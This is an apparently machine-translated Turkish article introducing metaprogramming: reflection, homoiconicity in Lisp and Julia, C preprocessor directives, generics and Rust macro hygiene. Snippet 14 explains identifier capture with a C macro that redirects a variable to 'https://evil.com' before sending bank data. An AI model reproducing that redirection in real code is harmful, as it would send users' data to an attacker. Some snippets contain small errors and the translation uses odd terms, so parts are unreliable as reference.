Kod Yazma Kod: Modern Metaprogramlama Teorisi ve Pratiğine Giriş

Yayınlanan: 2022-07-22

Ne zaman makroları açıklamanın en iyi yolunu düşünsem, programlamaya ilk başladığımda yazdığım bir Python programı aklıma gelir. İstediğim gibi organize edemedim. Bir dizi biraz farklı işlevi çağırmak zorunda kaldım ve kod hantal hale geldi. Aradığım şey - o zamanlar bilmememe rağmen - metaprogramlamaydı .

metaprogramming (isim)

Bir programın kodu veri olarak ele alabileceği herhangi bir teknik.

Evcil hayvan sahipleri için bir uygulamanın arka ucunu oluşturduğumuzu hayal ederek Python projemde karşılaştığım sorunları gösteren bir örnek oluşturabiliriz. pet_sdk kütüphanesindeki araçları kullanarak, evcil hayvan sahiplerinin kedi maması satın almasına yardımcı olmak için Python yazıyoruz:

 import pet_sdk cats = pet_sdk.get_cats() print(f"Found {len(cats)} cats!") for cat in cats: pet_sdk.order_cat_food(cat, amount=cat.food_needed)
Snippet 1: Kedi Maması Siparişi

Kodun çalıştığını doğruladıktan sonra aynı mantığı iki tür daha evcil hayvan (kuşlar ve köpekler) için uygulamaya geçiyoruz. Ayrıca veteriner randevuları için bir özellik de ekliyoruz:

 # An SDK that can give us information about pets - unfortunately, the functions are slightly different for each pet import pet_sdk # Get all of the birds, cats, and dogs in the system, respectively birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: print(f"Checking information for cat {cat.name}") if cat.hungry(): pet_sdk.order_cat_food(cat, amount=cat.food_needed) cat.clean_litterbox() if cat.sick(): available_vets = pet_sdk.find_vets(animal="cat") if len(available_vets) > 0: vet = available_vets[0] vet.book_cat_appointment(cat) for dog in dogs: print(f"Checking information for dog {dog.name}") if dog.hungry(): pet_sdk.order_dog_food(dog, amount=dog.food_needed) dog.walk() if dog.sick(): available_vets = pet_sdk.find_vets(animal="dog") if len(available_vets) > 0: vet = available_vets[0] vet.book_dog_appointment(dog) for bird in birds: print(f"Checking information for bird {bird.name}") if bird.hungry(): pet_sdk.order_bird_food(bird, amount=bird.food_needed) bird.clean_cage() if bird.sick(): available_vets = pet_sdk.find_birds(animal="bird") if len(available_vets) > 0: vet = available_vets[0] vet.book_bird_appointment(bird)
Snippet 2: Kedi, Köpek ve Kuş Maması Siparişi; Veteriner Randevu Al

Snippet 2'nin tekrarlayan mantığını bir döngüde yoğunlaştırmak iyi olurdu, bu yüzden kodu yeniden yazmaya koyulduk. Her işlev farklı şekilde adlandırıldığından, döngümüzde hangisini (örneğin, book_bird_appointment , book_cat_appointment ) çağıracağımızı belirleyemeyeceğimizi hemen fark ederiz:

 import pet_sdk all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: # What now?
Snippet 3: Şimdi Ne Var?

İstediğimiz son kodu otomatik olarak oluşturan programlar yazabildiğimiz, programımızı bir liste, bir dosyadaki veri veya herhangi bir şeymiş gibi esnek, kolay ve akıcı bir şekilde değiştirebileceğimiz, turboşarjlı bir Python sürümünü hayal edelim. diğer ortak veri türü veya program girişi:

 import pet_sdk for animal in ["cat", "dog", "bird"]: animals = pet_sdk.get_{animal}s() # When animal is "cat", this # would be pet_sdk.get_cats() for animal in animal: pet_sdk.order_{animal}_food(animal, amount=animal.food_needed) # When animal is "dog" this would be # pet_sdk.order_dog_food(dog, amount=dog.food_needed)
Snippet 4: TurboPython: Hayali Bir Program

Bu, Rust, Julia veya C gibi dillerde kullanılabilen bir makro örneğidir, ancak Python değil.

Bu senaryo, kendi kodunu değiştirebilen ve değiştirebilen bir program yazmanın nasıl faydalı olabileceğinin harika bir örneğidir. Bu tam olarak makroların çizimidir ve daha büyük bir sorunun birçok yanıtından biridir: Bir programın kendi kodunu iç incelemesini, onu veri olarak işlemesini ve ardından bu iç gözleme göre hareket etmesini nasıl sağlayabiliriz?

Genel olarak, bu tür bir iç gözlemi gerçekleştirebilen tüm teknikler, "metaprogramming" genel terimi altına girer. Metaprogramlama, programlama dili tasarımında zengin bir alt alandır ve önemli bir konsepte kadar izlenebilir: veri olarak kod.

Yansıma: Python Savunmasında

Python makro desteği sağlamasa da, bu kodu yazmak için birçok başka yol sunduğunu belirtebilirsiniz. Örneğin, burada animal değişkenimizin bir örneği olduğu sınıfı tanımlamak için isinstance() yöntemini kullanıyoruz ve uygun işlevi çağırıyoruz:

 # An SDK that can give us information about pets - unfortunately, the functions # are slightly different import pet_sdk def process_animal(animal): if isinstance(animal, pet_sdk.Cat): animal_name_type = "cat" order_food_fn = pet_sdk.order_cat_food care_fn = animal.clean_litterbox elif isinstance(animal, pet_sdk.Dog): animal_name_type = "dog" order_food_fn = pet_sdk.order_dog_food care_fn = animal.walk elif isinstance(animal, pet_sdk.Bird): animal_name_type = "bird" order_food_fn = pet_sdk.order_bird_food care_fn = animal.clean_cage else: raise TypeError("Unrecognized animal!") print(f"Checking information for {animal_name_type} {animal.name}") if animal.hungry(): order_food_fn(animal, amount=animal.food_needed) care_fn() if animal.sick(): available_vets = pet_sdk.find_vets(animal=animal_name_type) if len(available_vets) > 0: vet = available_vets[0] # We still have to check again what type of animal it is if isinstance(animal, pet_sdk.Cat): vet.book_cat_appointment(animal) elif isinstance(animal, pet_sdk.Dog): vet.book_dog_appointment(animal) else: vet.book_bird_appointment(animal) all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: process_animal(animal)
Snippet 5: Deyimsel Bir Örnek

Bu tür metaprogramlama yansıması diyoruz ve buna daha sonra geri döneceğiz. Snippet 5'in kodu hala biraz hantal ama bir programcı için yazması, listelenen her hayvan için mantığı tekrarladığımız Snippet 2'lerden daha kolay.

Meydan okumak

getattr yöntemini kullanarak, uygun order_*_food ve book_*_appointment işlevlerini dinamik olarak çağırmak için önceki kodu değiştirin. Bu muhtemelen kodu daha az okunabilir hale getirir, ancak Python'u iyi biliyorsanız, isinstance işlevi yerine getattr nasıl kullanabileceğinizi düşünmeye ve kodu basitleştirmeye değer.


Homooniklik: Lisp'in Önemi

Lisp gibi bazı programlama dilleri, metaprogramlama kavramını homoiconicity aracılığıyla başka bir düzeye taşır.

homoikoniklik (isim)

Bir programlama dilinin özelliği, bu sayede kod ile bir programın üzerinde çalıştığı veriler arasında hiçbir ayrım yoktur.

1958'de oluşturulan Lisp, en eski eşsesli dil ve ikinci en eski üst düzey programlama dilidir. Adını “LISt İşlemci”den alan Lisp, bilgisayarların nasıl kullanıldığını ve programlandığını derinden şekillendiren bilgi işlemde bir devrimdi. Lisp'in programlamayı ne kadar temel ve ayırt edici bir şekilde etkilediğini abartmak zor.

Emacs, güzel olan tek bilgisayar dili olan Lisp ile yazılmıştır. Neal Stephenson

Lisp, FORTRAN'dan sadece bir yıl sonra, delikli kartlar ve bir odayı dolduran askeri bilgisayarlar çağında yaratıldı. Yine de programcılar bugün hala yeni, modern uygulamalar yazmak için Lisp'i kullanıyor. Lisp'in birincil yaratıcısı John McCarthy, AI alanında bir öncüydü. Uzun yıllar boyunca, Lisp, araştırmacıların kendi kodlarını dinamik olarak yeniden yazma becerisine değer verdiği yapay zekanın diliydi. Günümüzün AI araştırması, bu tür mantık oluşturma kodundan ziyade sinir ağları ve karmaşık istatistiksel modeller etrafında toplanmıştır. Bununla birlikte, AI üzerinde Lisp kullanılarak yapılan araştırma - özellikle 60'lı ve 70'li yıllarda MIT ve Stanford'da yapılan araştırma - bildiğimiz alanı yarattı ve muazzam etkisi devam ediyor.

Lisp'in ortaya çıkışı, ilk programcıları özyineleme, üst düzey işlevler ve bağlantılı listeler gibi şeylerin pratik hesaplama olasılıklarına ilk kez maruz bıraktı. Ayrıca lambda hesabı fikirleri üzerine kurulmuş bir programlama dilinin gücünü de gösterdi.

Bu kavramlar, programlama dillerinin tasarımında bir patlamaya yol açtı ve bilgisayar biliminin en büyük isimlerinden biri olan Edsger Dijkstra'nın dediği gibi, ...

Bu örnek, girdisinin faktöriyelini yinelemeli olarak hesaplayan ve bu işlevi “7” girişiyle çağıran bir “faktöriyel” fonksiyonunu tanımlayan basit bir Lisp programını (ve daha bilinen Python sözdizimindeki eşdeğerini) göstermektedir:

Lisp piton
( defun factorial ( n ) ( if ( = n 1 ) 1 ( * n ( factorial ( - n 1 ))))) ( print ( factorial 7 ))
 def factorial (n) : if n == 1 : return 1 else : return n * factorial(n -1 ) print(factorial( 7 ))

Veri Olarak Kodla

Lisp'in en etkili ve sonuç getiren yeniliklerinden biri olmasına rağmen, özyineleme ve Lisp'in öncülük ettiği diğer birçok kavramın aksine eşseslilik, günümüzün programlama dillerinin çoğuna girmedi.

Aşağıdaki tablo, hem Julia hem de Lisp'te kod döndüren eşsesli işlevleri karşılaştırır. Julia, birçok yönden aşina olabileceğiniz üst düzey dillere (örneğin Python, Ruby) benzeyen eşsesli bir dildir.

Her örnekteki sözdiziminin anahtar parçası, alıntı karakteridir. Julia alıntı yapmak için bir : (iki nokta üst üste) kullanırken, Lisp bir ' (tek tırnak işareti) kullanır:

Julia Lisp
function function_that_returns_code() return :(x + 1 ) end
 ( defun function_that_returns_code () '(+ x 1 ))

Her iki örnekte de, ana ifadenin ( (x + 1) veya (+ x 1) ) yanındaki alıntı, onu doğrudan değerlendirilebilecek koddan değiştirebileceğimiz soyut bir ifadeye dönüştürür. İşlev, bir dize veya veri değil, kod döndürür. Eğer fonksiyonumuzu çağıracak ve print(function_that_returns_code()) yazacak olsaydık, Julia x+1 olarak dizilmiş kodu yazdırırdı (ve eşdeğeri Lisp için geçerlidir). Tersine, : (veya ' Lisp'te) olmadan, x tanımlanmadığına dair bir hata alırdık.

Julia örneğimize dönelim ve genişletelim:

 function function_that_returns_code(n) return :(x + $n) end my_code = function_that_returns_code(3) print(my_code) # Prints out (x + 3) x = 1 print(eval(my_code)) # Prints out 4 x = 3 print(eval(my_code)) # Prints out 6
Snippet 6: Julia Örneği Genişletilmiş

eval işlevi, programın başka bir yerinden oluşturduğumuz kodu çalıştırmak için kullanılabilir. Yazdırılan değerin x değişkeninin tanımına dayandığını unutmayın. eval kodu x tanımlı olmadığı bir bağlamda değerlendirmeye çalışırsak hata alırız.

Homoiconicity, programların anında uyum sağlayabileceği yeni ve karmaşık programlama paradigmalarının kilidini açabilen, etki alanına özgü sorunlara veya karşılaşılan yeni veri biçimlerine uyacak kod üreten güçlü bir metaprogramlama türüdür.

Homoiconic Wolfram Dilinin inanılmaz bir dizi soruna uyum sağlamak için kod üretebildiği WolframAlpha örneğini alın. WolframAlpha'ya, "New York şehrinin GSYİH'sinin Andorra nüfusuna bölünmesi ne kadar?" diye sorabilirsiniz. ve dikkat çekici bir şekilde, mantıklı bir yanıt alır.

Herhangi birinin bu belirsiz ve anlamsız hesaplamayı bir veritabanına dahil etmeyi düşünmesi pek olası görünmüyor, ancak Wolfram bu soruyu yanıtlamak için anında kod yazmak için metaprogramlama ve ontolojik bir bilgi grafiği kullanıyor.

Lisp ve diğer eşsesli dillerin sağladığı esnekliği ve gücü anlamak önemlidir. Daha fazla dalmadan önce, emrinizde olan bazı metaprogramlama seçeneklerini ele alalım:

Tanım Örnekler Notlar
homoikoniklik Kodun "birinci sınıf" veri olduğu bir dil özelliği. Kod ve veri arasında ayrım olmadığından, ikisi birbirinin yerine kullanılabilir.
  • Lisp
  • Prolog
  • Julia
  • Rebol/Kırmızı
  • Wolfram Dili
Burada Lisp, Lisp ailesindeki Scheme, Racket ve Clojure gibi diğer dilleri içerir.
makrolar Girdi olarak kodu alan ve çıktı olarak kodu döndüren bir ifade, işlev veya ifade.
  • macro_rules! , Derive ve prosedürel makrolar
  • Julia'nın @macro çağrıları
  • Lisp'in defmacro
  • C'nin #define
(C'nin makroları hakkında sonraki nota bakın.)
Önişlemci Yönergeleri (veya Ön Derleyici) Bir programı girdi olarak alan ve kodda yer alan ifadelere dayanarak programın değiştirilmiş bir sürümünü çıktı olarak döndüren bir sistem.
  • C'nin makroları
  • C++'ın # önişlemci sistemi
C'nin makroları, C'nin önişlemci sistemi kullanılarak uygulanır, ancak ikisi ayrı kavramlardır.

#define önişlemci yönergesini kullandığımız C makroları ile diğer C önişlemci yönergeleri (örneğin #if ve #ifndef ) arasındaki temel kavramsal fark, makroları kod oluşturmak için #define olmayan diğer yönergeleri kullanırken kullanmamızdır. diğer kodu koşullu olarak derlemek için önişlemci yönergeleri. İkisi C'de ve diğer bazı dillerde yakından ilişkilidir, ancak bunlar farklı metaprogramlama türleridir.
Refleks Bir programın kendi kodunu inceleme, değiştirme ve iç gözlem yapma yeteneği.
  • Python'un isinstance , getattr , fonksiyonlar
  • JavaScript'in Reflect ve typeof
  • Java'nın getDeclaredMethods
  • .NET'in System.Type sınıf hiyerarşisi
Yansıma, derleme zamanında veya çalışma zamanında meydana gelebilir.
jenerik Bir dizi farklı tür için geçerli olan veya birden çok bağlamda kullanılabilen ancak tek bir yerde saklanabilen kod yazma yeteneği. Kodun açık veya örtük olarak geçerli olduğu bağlamları tanımlayabiliriz.

Şablon tarzı jenerikler:

  • C++
  • Pas
  • Java

Parametrik polimorfizm:

  • Haskell
  • makine öğrenimi
Genel programlama, genel metaprogramlamaya göre daha geniş bir konudur ve ikisi arasındaki çizgi iyi tanımlanmamıştır.

Bu yazarın görüşüne göre, bir parametrik tür sistemi, yalnızca statik olarak yazılmış bir dildeyse metaprogramlama olarak sayılır.
Metaprogramlama için Bir Referans

Çeşitli programlama dillerinde yazılmış bazı eşseslilik, makrolar, önişlemci yönergeleri, yansıma ve jeneriklerin uygulamalı örneklerine bakalım:

 # Prints out "Hello Will", "Hello Alice", by dynamically creating the lines of code say_hi = :(println("Hello, ", name)) name = "Will" eval(say_hi) name = "Alice" eval(say_hi)
Snippet 7: Julia'da Homoiconicity
 int main() { #ifdef _WIN32 printf("This section will only be compiled for and run on windows!\n"); windows_only_function(); #elif __unix__ printf("This section will only be compiled for and run on unix!\n"); unix_only_function(); #endif printf("This line runs regardless of platform!\n"); return 1; }
Snippet 8: C'deki Ön İşlemci Yönergeleri
 from pet_sdk import Cat, Dog, get_pet pet = get_pet() if isinstance(pet, Cat): pet.clean_litterbox() elif isinstance(pet, Dog): pet.walk() else: print(f"Don't know how to help a pet of type {type(pet)}")
Snippet 9: Python'da Yansıma
 import com.example.coordinates.*; interface Vehicle { public String getName(); public void move(double xCoord, double yCoord); } public class VehicleDriver<T extends Vehicle> { // This class is valid for any other class T which implements // the Vehicle interface private final T vehicle; public VehicleDriver(T vehicle) { System.out.println("VehicleDriver: " + vehicle.getName()); this.vehicle = vehicle; } public void goHome() { this.vehicle.move(HOME_X, HOME_Y); } public void goToStore() { this.vehicle.move(STORE_X, STORE_Y); } }
Snippet 10: Java'da Jenerikler
 macro_rules! print_and_return_if_true { ($val_to_check: ident, $val_to_return: expr) => { if ($val_to_check) { println!("Val was true, returning {}", $val_to_return); return $val_to_return; } } } // The following is the same as if for each of x, y, and z, // we wrote if x { println!...} fn example(x: bool, y: bool, z: bool) -> i32 { print_and_return_if_true!(x, 1); print_and_return_if_true!(z, 2); print_and_return_if_true!(y, 3); }
Snippet 11: Rust'ta Makrolar

Makrolar (Snippet 11'deki gibi) yeni nesil programlama dillerinde yeniden popüler hale geliyor. Bunları başarılı bir şekilde geliştirmek için kilit bir konuyu dikkate almalıyız: hijyen.

Hijyenik ve Hijyenik Olmayan Makrolar

Kodun “hijyenik” veya “hijyenik olmayan” olması ne anlama gelir? Açıklığa kavuşturmak için, macro_rules! işlev. Adından da anlaşılacağı gibi, macro_rules! tanımladığımız kurallara göre kod üretir. Bu durumda, makromuzu my_macro olarak adlandırdık ve kural “ let x = $n kod satırını oluşturun” şeklindedir, burada n bizim girdimizdir:

 macro_rules! my_macro { ($n) => { let x = $n; } } fn main() { let x = 5; my_macro!(3); println!("{}", x); }
Snippet 12: Rust'ta Hijyen

Makromuzu genişlettiğimizde (çağrımını oluşturduğu kodla değiştirmek için bir makro çalıştırarak), aşağıdakileri almayı bekleriz:

 fn main() { let x = 5; let x = 3; // This is what my_macro!(3) expanded into println!("{}", x); }
Snippet 13: Örneğimiz, Genişletilmiş

Görünüşe göre, makromuz x değişkenini 3'e eşit olarak yeniden tanımladı, bu nedenle programın 3 yazdırmasını makul bir şekilde bekleyebiliriz. Aslında, 5 yazdırır! Şaşırmış? Rust'ta macro_rules! tanımlayıcılara göre hijyeniktir, bu nedenle kapsamı dışındaki tanımlayıcıları "yakalamaz". Bu durumda, tanımlayıcı x idi. Makro tarafından yakalanmış olsaydı, 3'e eşit olurdu.

hijyen (isim)

Bir makronun genişlemesinin, makronun kapsamı dışından tanımlayıcıları veya diğer durumları yakalamayacağını garanti eden bir özellik. Bu özelliği sağlamayan makro ve makro sistemlere hijyenik olmayan denir.

Makrolarda hijyen, geliştiriciler arasında biraz tartışmalı bir konudur. Savunucuları, hijyen olmadan kodunuzun davranışını kazara kurnazca değiştirmenin çok kolay olduğu konusunda ısrar ediyor. Birçok değişken ve diğer tanımlayıcılarla karmaşık kodda kullanılan Snippet 13'ten önemli ölçüde daha karmaşık bir makro düşünün. Ya o makro, kodunuzla aynı değişkenlerden birini kullandıysa ve siz fark etmediyseniz?

Bir geliştiricinin, kaynak kodunu okumadan harici bir kitaplıktan makro kullanması alışılmadık bir durum değildir. Bu, özellikle makro desteği sunan yeni dillerde yaygındır (örneğin, Rust ve Julia):

 #define EVIL_MACRO website="https://evil.com"; int main() { char *website = "https://good.com"; EVIL_MACRO send_all_my_bank_data_to(website); return 1; }
Snippet 14: Kötü Bir C Makrosu

C'deki bu hijyenik olmayan makro, tanımlayıcı website yakalar ve değerini değiştirir. Elbette, tanımlayıcı yakalama kötü amaçlı değildir. Bu sadece makro kullanmanın tesadüfi bir sonucudur.

Yani hijyenik makrolar iyidir ve hijyenik olmayan makrolar kötüdür, değil mi? Ne yazık ki, o kadar basit değil. Hijyenik makroların bizi sınırladığına dair güçlü bir kanıt var. Bazen tanımlayıcı yakalama yararlıdır. Üç tür evcil hayvan için hizmet sağlamak için pet_sdk kullandığımız Snippet 2'ye tekrar bakalım. Orijinal kodumuz şöyle başladı:

 birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: # Cat specific code for dog in dogs: # Dog specific code # etc…
Snippet 15: Vet'e Geri Dön— pet sdk geri çağırma

Snippet 3'ün, Snippet 2'nin tekrarlayan mantığını her şey dahil bir döngüde yoğunlaştırma girişimi olduğunu hatırlayacaksınız. Ama ya kodumuz cats and dogs tanımlayıcılarına bağlıysa ve aşağıdaki gibi bir şey yazmak istiyorsak:

 {animal}s = pet_sdk.get{animal}s() for {animal} in {animal}s: # {animal} specific code
Snippet 16: Faydalı Tanımlayıcı Yakalama (Hayali "TurboPython"da)

Snippet 16 elbette biraz basittir, ancak bir makronun belirli bir kod bölümünün %100'ünü yazmasını istediğimiz bir durum hayal edin. Hijyenik makrolar böyle bir durumda sınırlayıcı olabilir.

Hijyenik ve hijyenik olmayan makro tartışması karmaşık olsa da, iyi haber şu ki, bu sizin bir duruş sergilemeniz gereken bir konu değil. Kullandığınız dil, makrolarınızın hijyenik olup olmayacağını belirler, bu nedenle makroları kullanırken bunu aklınızda bulundurun.

Modern Makrolar

Makrolar şimdi biraz zaman geçiriyor. Uzun bir süre boyunca, modern zorunlu programlama dillerinin odak noktası, işlevlerinin temel bir parçası olarak makrolardan uzaklaştı ve onları diğer metaprogramlama türleri lehine çevirdi.

Okullarda yeni programcılara öğretilen diller (örneğin Python ve Java) onlara tek ihtiyaçları olan şeyin yansıma ve jenerik olduğunu söyledi.

Zamanla, bu modern diller popüler hale geldikçe, makrolar göz korkutucu C ve C++ önişlemci sözdizimi ile ilişkilendirildi - programcılar bunların farkında bile olsalar.

Ancak Rust ve Julia'nın ortaya çıkmasıyla birlikte trend makrolara geri döndü. Rust ve Julia, makro kavramını bazı yeni ve yenilikçi fikirlerle yeniden tanımlayan ve popülerleştiren iki modern, erişilebilir ve yaygın olarak kullanılan dillerdir. Bu, kullanımı kolay, "piller dahil" çok yönlü bir dil olarak Python ve R'nin yerini almaya hazır görünen Julia'da özellikle heyecan verici.

“TurboPython” gözlüklerimizle pet_sdk ilk baktığımızda gerçekten istediğimiz Julia gibi bir şeydi. Eş sesliliğini ve sunduğu diğer metaprogramlama araçlarından bazılarını kullanarak Snippet 2'yi Julia'da yeniden yazalım:

 using pet_sdk for (pet, care_fn) = (("cat", :clean_litterbox), ("dog", :walk_dog), ("dog", :clean_cage)) get_pets_fn = Meta.parse("pet_sdk.get_${pet}s") @eval begin local animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), etc. for animal in animals animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), etc. end end end
Snippet 17: Julia'nın Makrolarının Gücü— pet_sdk

Snippet 17'yi parçalayalım:

  1. Üç tuple üzerinden yineliyoruz. Bunlardan ilki ("cat", :clean_litterbox) 'dur, bu nedenle pet değişkeni "cat" öğesine, care_fn değişkeni ise alıntılanan :clean_litterbox sembolüne atanır.
  2. Bir dizgiyi bir Expression dönüştürmek için Meta.parse işlevini kullanırız, böylece onu kod olarak değerlendirebiliriz. Bu durumda, hangi işlevin çağrılacağını tanımlamak için bir dizgiyi diğerine koyabileceğimiz dizge enterpolasyonunun gücünü kullanmak istiyoruz.
  3. Oluşturduğumuz kodu çalıştırmak için eval işlevini kullanırız. @eval begin… end , kodu yeniden yazmaktan kaçınmak için eval(...) yazmanın başka bir yoludur. @eval bloğunun içinde dinamik olarak oluşturduğumuz ve çalıştığımız kod var.

Julia'nın metaprogramlama sistemi, istediğimiz şeyi istediğimiz şekilde ifade etmemiz için bizi gerçekten özgürleştiriyor. Yansıma da dahil olmak üzere başka birkaç yaklaşım kullanabilirdik (Snippet 5'teki Python gibi). Ayrıca, belirli bir hayvan için açıkça kod üreten bir makro işlevi de yazabilirdik veya tüm kodu bir dize olarak oluşturup Meta.parse veya bu yöntemlerin herhangi bir kombinasyonunu kullanabilirdik.

Julia'nın Ötesinde: Diğer Modern Metaprogramlama Sistemleri

Julia, modern bir makro sistemin belki de en ilginç ve en zorlayıcı örneklerinden biridir, ancak hiçbir şekilde tek örnek değildir. Rust da makroları bir kez daha programcıların önüne getirmede etkili oldu.

Rust'ta, makrolar Julia'dakinden çok daha merkezidir, ancak bunu burada tam olarak keşfetmeyeceğiz. Pek çok nedenden dolayı, makro kullanmadan deyimsel Rust yazamazsınız. Julia'da ise, eşseslilik ve makro sistemi tamamen görmezden gelmeyi seçebilirsiniz.

Bu merkeziliğin doğrudan bir sonucu olarak, Rust ekosistemi gerçekten makroları benimsedi. Topluluğun üyeleri, verileri serileştirebilen ve seri durumdan çıkarabilen, otomatik olarak SQL oluşturabilen ve hatta kodda bırakılan ek açıklamaları başka bir programlama diline dönüştürebilen araçlar da dahil olmak üzere inanılmaz derecede harika kitaplıklar, kavram kanıtları ve makrolarla özellikler oluşturdu. Derleme zamanı.

Julia'nın metaprogramlaması daha anlamlı ve özgür olsa da, Rust, dil genelinde yoğun bir şekilde öne çıktığı için, metaprogramlamayı yükselten modern bir dilin muhtemelen en iyi örneğidir.

Geleceğe Bakış

Şimdi programlama dilleriyle ilgilenmek için inanılmaz bir zaman. Bugün, C++ ile bir uygulama yazıp bir web tarayıcısında çalıştırabiliyorum ya da bir masaüstü veya telefonda çalıştırmak için JavaScript ile bir uygulama yazabiliyorum. Giriş engelleri hiç bu kadar düşük olmamıştı ve yeni programcılar daha önce hiç olmadığı kadar bilgi parmaklarının ucunda.

Bu programcı seçimi ve özgürlüğü dünyasında, bilgisayar bilimi tarihinden ve önceki programlama dillerinden özenle seçilmiş özellik ve kavramlara sahip zengin, modern dilleri kullanma ayrıcalığına giderek daha fazla sahibiz. Bu gelişme dalgasında makroların toplandığını ve tozlandığını görmek heyecan verici. Rust ve Julia onları makrolarla tanıştırırken yeni nesil geliştiricilerin ne yapacağını görmek için sabırsızlanıyorum. Unutmayın, "veri olarak kodlayın" sadece bir slogandan daha fazlasıdır. Herhangi bir çevrimiçi toplulukta veya akademik ortamda metaprogramlamayı tartışırken akılda tutulması gereken temel bir ideolojidir.

'Veri olarak kodla' sadece bir slogandan daha fazlasıdır.

Cıvıldamak

Metaprogramming'in 64 yıllık tarihi, bugün bildiğimiz şekliyle programlamanın gelişiminin ayrılmaz bir parçası olmuştur. Araştırdığımız yenilikler ve tarih, metaprogramlama destanının sadece bir köşesi olsa da, modern metaprogramlamanın sağlam gücünü ve faydasını gösterirler.